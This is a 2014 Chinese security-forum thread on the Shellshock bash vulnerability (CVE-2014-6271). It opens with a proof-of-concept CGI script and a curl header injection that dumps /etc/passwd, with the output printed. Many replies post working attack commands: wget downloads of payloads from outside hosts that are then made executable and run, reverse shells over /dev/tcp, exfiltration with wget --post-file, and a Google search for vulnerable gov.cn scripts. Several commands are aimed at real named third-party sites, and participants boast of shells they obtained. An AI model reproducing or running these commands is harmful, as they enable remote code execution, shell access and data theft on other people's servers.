当前位置:WooYun(白帽子技术社区) >> 资源‏共享‍ >> CVE-2014-6271

CVE-2014-6271

mramydnei | 2014-09-25 06:54

from:https://www.invisiblethreat.ca/2014/09/cve-2014-6271/

poc.cgi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0


$ curl -A ‘() { :; }; /bin/cat /etc/passwd > dumped_file’ http://192.168.0.1/poc.cgi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>


$ curl http://192.168.0.1/dumped_file
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin


相关链接:
http://marc.info/?l=oss-security&m=141157106132018&w=2
http://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
http://seclists.org/oss-sec/2014/q3/650
http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNKRufIZWN
http://pastebin.com/8NRv7s1Z
http://pastebin.com/kQ5ppEZD
http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html
http://permalink.gmane.org/gmane.comp.security.oss.general/13852?utm_source=twitterfeed&utm_medium=twitter

PS:ModSecurity声称已经针对CVE-2014-6271完善了过滤规则。

分享到:
  1. 1#
    回复此人 感谢
    袋鼠妈妈 | 2014-09-25 07:04

    早啊

  2. 2#
    回复此人 感谢
    煌刃獲加武 | 2014-09-25 07:20

    早上起来更新系统,发现打过补丁的bash已经在源里了

  3. 3#
    回复此人 感谢
    Allmylife | 2014-09-25 08:51

    脚本里面必须要有/usr/bin/env 吗

  4. 4#
    回复此人 感谢
    流星warden (尘归尘,土归土,让往生者安宁,让在世者重获解脱。) | 2014-09-25 08:57

    这是一个悲伤的故事

  5. 5#
    回复此人 感谢
    erevus | 2014-09-25 09:16

    卧槽 乌云酒吧又要多一种酒了

  6. 6#
    回复此人 感谢
    0xCC | 2014-09-25 09:22

    测试了一下我的 php 环境,虽然在脚本中 $_ENV 是可以被 HTTP 请求控制,但是 shell 出来的 bash 进程中只保留了 PHPRC, SCRIPT_FILENAME, PHP_FCGI_MAX_REQUESTS 等几个用户不可控的变量,无法利用。

  7. 7#
    回复此人 感谢
    0xCC | 2014-09-25 09:24

    @Allmylife 不需要,只要 cgi 创建了新 bash 进程即可。 env 是打印当前环境变量做调试用

  8. 8#
    回复此人 感谢
    社长 | 2014-09-25 09:50

    一大早新闻满天飞 这真是一个悲伤的故事

  9. 9#
    回复此人 感谢
    园长 (喵~) | 2014-09-25 10:07

  10. 10#
    回复此人 感谢
    Ricter (勿忘初心 (๑`・ᴗ・´๑) | 2014-09-25 10:45

    由于 selinux 的原因,貌似不能在 /cgi-bin 目录下创建文件,也不能 curl

  11. 11#
    回复此人 感谢
    ppt (小伙子,你0day掉了) | 2014-09-25 11:03

    wormable

  12. 12#
    回复此人 感谢
    Ricter (勿忘初心 (๑`・ᴗ・´๑) | 2014-09-25 11:21

    现在可以回显了,开撸=A=

  13. 13#
    回复此人 感谢
    livers (如梦似幻) | 2014-09-25 11:26
  14. 14#
    回复此人 感谢
    missdiog | 2014-09-25 11:30

    @livers 真快啊,我等吊死苦逼了

  15. 15#
    回复此人 感谢
    7dscan (www.7dscan.com) | 2014-09-25 11:46

    要输出才有回显吧

  16. 16#
    回复此人 感谢
    360网站卫士 (专业爆腾讯漏洞30年) | 2014-09-25 11:55

    Bash 3.0-4.3 Command Execution(CVE-2014-6271) POC & Exploit:http://www.beebeeto.com/pdb/poc-2014-0027/

  17. 17#
    回复此人 感谢
    Yinkan | 2014-09-25 12:02

    足够喝一壶了……

  18. 18#
    回复此人 感谢
    xiao.k (纳威安全导航 navisec.it) | 2014-09-25 12:16

    @360网站卫士 还要邀请码?

  19. 19#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2014-09-25 12:36

    @livers 脚本用户不鸟

  20. 20#
    回复此人 感谢
    zeracker (多乌云、多机会!!! 微信公众号:301在路上) | 2014-09-25 12:37

    都加班去了。

  21. 21#
    回复此人 感谢
    Ivan (Null.) | 2014-09-25 12:46

    关注

  22. 22#
    回复此人 感谢
    小胖子 (z7y首席代言人,园长的表哥...) | 2014-09-25 12:53

    关注

  23. 23#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2014-09-25 13:01

    @园长 求工具~

    ZoomEye:测试的两个要点,一是 cgi 程序里需要创建子进程,第二是环境变量可控。环境变量可以用 useragent,querystring, x-forward-for 等多个 http 特性进行污染。测试的时候请使用 curl 而不是浏览器,以免 payload 被 urlencode 转义。

  24. 24#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 13:12

    好洞

  25. 25#
    回复此人 感谢
    园长 (喵~) | 2014-09-25 13:13
  26. 26#
    回复此人 感谢
    est (ᴇsᴛ) | 2014-09-25 13:15

    这个洞还可以用来日git

  27. 27#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2014-09-25 13:18

    @园长  = =、、、、求编译

  28. 28#
    回复此人 感谢
    园长 (喵~) | 2014-09-25 13:32

    @mango 这个漏洞利用方式很简单,设置下ua就行了。剩下的就是执行你的后门程序。

  29. 29#
    回复此人 感谢
    he1renyagao (无) | 2014-09-25 13:39

    为什么还没人刷起呢?

  30. 30#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2014-09-25 13:45

    @he1renyagao 让子弹飞一会

  31. 31#
    回复此人 感谢
    TellYouThat | 2014-09-25 13:59

    @Ricter 咋回显?

  32. 32#
    回复此人 感谢
    楼上是马甲 | 2014-09-25 14:02

    @xsser   有没有觉得这是鸡肋

  33. 33#
    回复此人 感谢
    我还爱 (我还是那个我,我还爱那个我) | 2014-09-25 14:06

    @TellYouThat 反弹回来

  34. 34#
    回复此人 感谢
    段誉 | 2014-09-25 14:09

    @Ricter 咋回显?

  35. 35#
    回复此人 感谢
    Tank (梦想创造奇迹!) | 2014-09-25 14:11

    试验了几十个,到目前为止还没有成功的

  36. 36#
    回复此人 感谢
    kwokwing | 2014-09-25 14:17

    刷起来

  37. 37#
    回复此人 感谢
    c4bbage (天津 祈福) | 2014-09-25 14:18

    id >/tmp/xx; wget weisuo.org/recv.php --post-file=/tmp/xx

  38. 38#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 14:18

    没成功的,靠,园长那个还要附加jar包才能编译,不好用
    @园长,求弄成jar

  39. 39#
    回复此人 感谢
    紫衣大侠 (勿在浮沙筑高台) | 2014-09-25 14:20

    没找到实例

  40. 40#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 14:23

    poc是
    curl -A "() { :; }; /usr/bin/wget http://xxx/shell -O /tmp/shell" http://目标/cgi-bin/*.cgi

    curl -A '() { :; }; /usr/bin/wget http://xxx/shell -O /tmp/shell' http://目标/cgi-bin/*.cgi

  41. 41#
    回复此人 感谢
    园长 (喵~) | 2014-09-25 14:23

    @疯狂 听说发工具要违法,所以以后基本上都只会发代码吖。

  42. 42#
    回复此人 感谢
    守望 | 2014-09-25 14:30

    curl http://xxx.xxx.xxx.xxx/cgi-bin/vulnerable -A "() { :;}; /bin/sh -i >& /dev/tcp/REVERSE_SHELL_IP/PORT 0>&1"

  43. 43#
    回复此人 感谢
    justforfun (肾啊肾,老是渗不透) | 2014-09-25 14:45

    没测成功一个。。。

  44. 44#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 14:49

    单引号还是双引号哦?

  45. 45#
    回复此人 感谢
    xxx | 2014-09-25 14:53

    @园长 我编译时访问不了  
    Document doc = Jsoup.connect("https://www.google.ws/search?q=filetype:cgi+inurl:cgi-bin+site:gov.cn&num=100&newwindow=1&biw=1440&bih=710&ei=qpojVIrRIJPX8gWU_4GwDg&start=300&sa=N").userAgent("Googlebot/2.1 (+http://www.googlebot.com/bot.html)").timeout(5000).get();

  46. 46#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2014-09-25 14:58

    @xxx 你仔细看~~~是不是打错了

  47. 47#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 15:02

    curl -A '() { :; }; /bin/wget http://xxxx/shell -O /tmp/shell' http://post.usts.edu.cn/cgi-bin/vqregister/vqregister.cgi

    curl -A '() { :; }; /bin/chmod 777 /tmp/shell' http://post.usts.edu.cn/cgi-bin/vqregister/vqregister.cgi

    curl -A "() { :; }; exec /tmp/shell" http://post.usts.edu.cn/cgi-bin/vqregister/vqregister.cgi

  48. 48#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 15:02

    哪里有问题,老执行不了呢

  49. 49#
    回复此人 感谢
    小小剑士 | 2014-09-25 15:19

    Apache/2.2.29 下不能成功

  50. 50#
    回复此人 感谢
    老黑 | 2014-09-25 15:24

    基本没成功过。不知道是不是方法问题

  51. 51#
    回复此人 感谢
    he1renyagao (无) | 2014-09-25 15:26

    - _ -   没找到实例!!!!!

  52. 52#
    回复此人 感谢
    小小剑士 | 2014-09-25 15:33

    @小小剑士 终于成功了,原来是需要前提是你使用bash来执行脚本,而我们一般都是使用sh(!/bin/sh)来执行的,所以是不会成功的

  53. 53#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 15:35

    @小小剑士? POC给出来瞅瞅,你意思是需要服务器那边执行bash命令?

  54. 54#
    回复此人 感谢
    蒙塔基的钢弹 (放下面子,求真学习,拾起斗志,用心渗透!) | 2014-09-25 15:36

    @疯狂 哪里看到的呢

  55. 55#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 15:41

    /bin/bash -c /usr/bin/wget http://xxx/ft.pl -o /tmp/ft.pl
    /bin/bash -c /usr/bin/perl /tmp/ft.pl xxxx 12345

  56. 56#
    回复此人 感谢
    风花雪月 (多喜欢我自己!) | 2014-09-25 15:44

    @社长 闭嘴,我和你没爱了!!桑心的一波波

  57. 57#
    回复此人 感谢
    小小剑士 | 2014-09-25 15:46

    @疯狂 我刚才说错了,应该看看你的/bin/sh 是否链接到bash,如果是的话,默认就是bash了,测试文件可以直接用apache/cgi-bin/test-cgi来测试,不用进行修改

  58. 58#
    回复此人 感谢
    小小剑士 | 2014-09-25 15:47

    @疯狂 对了,默认需要加一个执行权限chmod +x test-cgi

  59. 59#
    回复此人 感谢
    黑色的屌丝 | 2014-09-25 15:49

    已成功一个。PS:太少了

  60. 60#
    回复此人 感谢
    Rona (111) | 2014-09-25 15:52

    @黑色的屌丝 求共享

  61. 61#
    回复此人 感谢
    hkAssassin | 2014-09-25 15:57

    @黑色的屌丝 求法……我要试一试……

  62. 62#
    回复此人 感谢
    Xeyes (无个性,不签名.) | 2014-09-25 16:03

    屏幕截图 - 2014年09月25日 - 15时58分28秒.png

    请叫我红领巾.
    proxychains  curl http://searches.rootsweb.ancestry.com/cgi-bin/Genea/soundex.sh -H 'X: () { :;}; /bin/bash -i >& /dev/tcp/123.1.1.1/8080 0>&1'

  63. 63#
    回复此人 感谢
    疯狂 (One day is a day) | 2014-09-25 16:15

    靠,成功一个,日,太垃圾了,可以反弹shell嘿嘿

  64. 64#
    回复此人 感谢
    流星warden (尘归尘,土归土,让往生者安宁,让在世者重获解脱。) | 2014-09-25 16:18

    啊呜。。一直在失败从成功过

  65. 65#
    回复此人 感谢
    蒙塔基的钢弹 (放下面子,求真学习,拾起斗志,用心渗透!) | 2014-09-25 16:18

    curl http://XXXX -A "() { :;}; /bin/sh -i >& /dev/tcp/XX.XXX.XX.XX/8080 0>&1"

    已成功国内2个,反弹回shell。

  66. 66#
    回复此人 感谢
    流星warden (尘归尘,土归土,让往生者安宁,让在世者重获解脱。) | 2014-09-25 16:41

    在朋友帮助下成功了一次

  67. 67#
    回复此人 感谢
    dren | 2014-09-25 16:42

    @Xeyes ip已泄漏

  68. 68#
    回复此人 感谢
    海豚1号 (只准自己装B见不得别人装逼) | 2014-09-25 17:06

    @Xeyes 这个可以反弹

  69. 69#
    回复此人 感谢
    Wangl | 2014-09-25 17:12

    给个成功的URL,写个工具。

  70. 70#
    回复此人 感谢
    流星warden (尘归尘,土归土,让往生者安宁,让在世者重获解脱。) | 2014-09-25 18:20

    @dren 他用的TOR

  71. 71#
    回复此人 感谢
    hkAssassin | 2014-09-25 18:32

    @疯狂 发过来,我试试……

  72. 72#
    回复此人 感谢
    hkAssassin | 2014-09-25 18:32

    @蒙塔基的钢弹 发出来试试……

  73. 73#
    回复此人 感谢
    dren | 2014-09-25 21:34

    @流星warden console后面有反弹的ip,还有console title上面也写着ip

  74. 74#
    回复此人 感谢
    dren | 2014-09-25 21:35

    @流星warden console后面有反弹的ip,还有console title上面也写着ip

  75. 75#
    回复此人 感谢
    Asnliang (我是一个搬砖工,我可以准确的告诉你一块红砖的尺寸) | 2014-09-26 12:03

    @疯狂 求成功反弹语句

  76. 76#
    回复此人 感谢
    Asnliang (我是一个搬砖工,我可以准确的告诉你一块红砖的尺寸) | 2014-09-26 16:04

    @蒙塔基的钢弹 只需要在url上面加/cgi-bin/吗?

  77. 77#
    回复此人 感谢
    0c0c0f | 2014-09-27 16:56

    针对这个poc.cgi没见到什么特别的地方啊

  78. 78#
    回复此人 感谢
    爱Gail | 2014-09-28 10:46

    吊啊,现在主要用什么工具

  79. 79#
    回复此人 感谢
    鬼魅羊羔 ((#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵) | 2014-09-28 11:55

    @园长 发工具的时候遮住脸,就不会被查水表啦·~

  80. 80#
    回复此人 感谢
    Fire ant | 2015-03-20 09:29

    刚看到...一个帖子  用metasploit的模块.....然后另一台centos重启网络  也就是service network restart2 .....然后居然奇迹般的命令执行了!!!!!什么黑科技

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录